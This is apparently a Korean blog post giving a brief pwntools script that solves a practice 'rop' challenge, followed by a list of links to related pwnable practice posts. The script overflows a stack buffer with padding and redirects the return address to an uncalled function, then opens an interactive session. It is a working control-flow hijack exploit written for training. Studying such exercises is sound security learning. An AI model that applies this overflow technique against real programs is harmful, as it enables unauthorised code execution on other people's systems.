from pwn import *
p = process("./rop-fa6168f4d8eba0eb")
not_called = 0x8048a4
pay = 'A'*0x88 + 'B'*4 + p32(not_called)
p.send(pay)
p.interactive()
rop (6/8 실습문제) (0) | 2020.06.08 |
---|---|
shot (6/1 포너블 실습 문제) (0) | 2020.06.01 |
[TAMU 2019] pwn5 (0) | 2020.05.31 |
RTL_x64 (5/25 포너블 실습 문제 만들기) (0) | 2020.05.28 |
[HITCON-Training] lab6: migration (2019.09.09, Fake EBP + ROP) (0) | 2020.05.27 |